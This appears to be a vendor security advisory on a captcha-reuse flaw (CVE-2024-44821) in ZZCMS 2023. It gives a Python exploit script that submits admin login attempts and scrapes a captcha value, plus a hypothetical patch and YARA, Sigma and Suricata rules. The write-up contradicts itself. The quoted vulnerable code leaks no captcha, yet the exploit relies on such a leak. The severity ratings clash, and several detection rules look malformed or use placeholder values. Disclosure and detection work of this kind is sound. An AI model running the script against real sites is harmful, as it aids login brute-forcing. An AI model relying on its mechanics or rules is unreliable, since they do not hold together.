CVE-2024-44821

Executive Summary

CVE-2024-44821 is a captcha reuse vulnerability in ZZCMS 2023, specifically in the /inc/function.php file. The checkyzm function fails to refresh the captcha value after a failed validation attempt, allowing an attacker to repeatedly submit the same incorrect captcha response. By observing error messages, the attacker can capture the correct captcha value, effectively bypassing the captcha protection. This flaw can be exploited to automate brute-force attacks, spam submissions, or other actions that rely on captcha as a gatekeeper.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a PHP-based web application vulnerability in ZZCMS.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, indicating that no official CVSS vector has been assigned. However, based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – The attacker can only obtain the captcha value, not sensitive data.
• Integrity (I): Low (L) – The attacker can bypass captcha, but not modify data directly.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the vulnerability itself is low severity, it can be chained with other attacks (e.g., brute-force login) to increase impact.

Deep Dive & Mechanics

The vulnerability resides in the checkyzm function within /inc/function.php. The function is designed to validate captcha responses submitted by users. The flaw is that after a failed validation, the captcha value stored in the session is not regenerated. This allows an attacker to:

1. Request a captcha image and obtain the associated session ID.
2. Submit a form with an incorrect captcha response.
3. Observe the error message, which may reveal the correct captcha value (e.g., "Invalid captcha, expected: ABC123").
4. Reuse the same session ID and submit the correct captcha value to bypass validation.

The attack can be automated to capture captcha values repeatedly without solving them manually.

Vulnerable vs. Patched Code

Vulnerable Code (ZZCMS 2023):

function checkyzm($yzm, $id = '') {
    if ($id == '') {
        $id = 'yzm';
    }
    if ($_SESSION[$id] != $yzm) {
        // Error message may leak the correct captcha
        showmsg('验证码错误', 'back');
    }
    // No regeneration of captcha after failure
}

Patched Code (Hypothetical):

function checkyzm($yzm, $id = '') {
    if ($id == '') {
        $id = 'yzm';
    }
    if ($_SESSION[$id] != $yzm) {
        // Regenerate captcha to prevent reuse
        unset($_SESSION[$id]);
        showmsg('验证码错误', 'back');
    }
    // Optionally regenerate after success as well
    unset($_SESSION[$id]);
}

The patch ensures that after a failed attempt, the captcha value is cleared from the session, forcing the user to request a new captcha image.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running ZZCMS 2023.
• Ability to send HTTP requests and parse responses.

Exploit Steps:

1. Obtain a valid session ID and captcha image.
2. Submit a form with an incorrect captcha response.
3. Extract the correct captcha value from the error message.
4. Use the correct captcha value to perform the intended action (e.g., login, comment).

Example Python Script:

import requests

target = "http://target.com"
session = requests.Session()

# Step 1: Get captcha image (session cookie is set automatically)
captcha_url = f"{target}/captcha.php"
session.get(captcha_url)

# Step 2: Submit with incorrect captcha
login_url = f"{target}/login.php"
data = {"username": "admin", "password": "password", "yzm": "wrong"}
response = session.post(login_url, data=data)

# Step 3: Extract correct captcha from error message (example regex)
import re
match = re.search(r'expected: (\w+)', response.text)
if match:
    correct_captcha = match.group(1)
    print(f"Captcha: {correct_captcha}")

# Step 4: Use correct captcha
data["yzm"] = correct_captcha
response = session.post(login_url, data=data)
print(response.text)

Blue Team

Detection:

• Monitor for repeated failed captcha attempts from the same session.
• Alert on error messages that contain captcha values (potential leakage).
• Implement rate limiting on captcha validation endpoints.

Mitigation:

• Apply the patch to regenerate captcha after each attempt.
• Use a more secure captcha implementation (e.g., reCAPTCHA).
• Log and monitor captcha validation failures.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /captcha.php followed by multiple POST requests to login or form endpoints with varying captcha values.
• Logs: Repeated "验证码错误" (captcha error) messages in application logs.
• Session: Multiple failed captcha attempts from the same session ID without requesting a new captcha image.

Detection Engineering

YARA Rule

rule CVE_2024_44821_Captcha_Reuse {
    meta:
        description = "Detects captcha reuse vulnerability in ZZCMS 2023"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-44821"
    strings:
        $func = "function checkyzm" nocase
        $msg = "验证码错误" nocase
        $session = "$_SESSION" nocase
    condition:
        $func and $msg and $session
}

Sigma Rule

title: Captcha Reuse Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple failed captcha attempts from same session
logsource:
    category: application
    product: zzcms
detection:
    selection:
        event: "captcha_error"
        session_id: "*"
    condition: selection | count(session_id) > 5
falsepositives:
    - Legitimate users with poor eyesight
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-44821 Captcha Reuse Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"yzm="; http_client_body;
    content:"验证码错误"; http_server_body;
    threshold: type both, track by_src, count 5, seconds 60;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Apply the patch to regenerate captcha after each validation attempt.
2. Short-term: Implement rate limiting on captcha validation endpoints.
3. Long-term: Upgrade to a more secure captcha solution (e.g., Google reCAPTCHA).
4. Monitoring: Enable logging for captcha validation failures and alert on anomalies.
5. User Education: Inform users about the importance of not reusing captcha values.

Valters IT
Securing Digital Frontiers